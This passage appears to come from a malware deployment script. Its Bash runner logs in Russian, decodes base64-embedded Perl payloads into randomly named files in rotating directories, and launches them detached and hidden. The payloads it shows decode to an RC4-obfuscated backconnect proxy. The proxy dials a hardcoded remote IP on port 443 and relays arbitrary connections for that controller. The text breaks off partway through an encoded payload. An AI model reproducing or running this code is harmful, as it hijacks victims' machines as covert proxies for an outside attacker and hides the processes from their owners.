YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #9 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #9 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 10 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 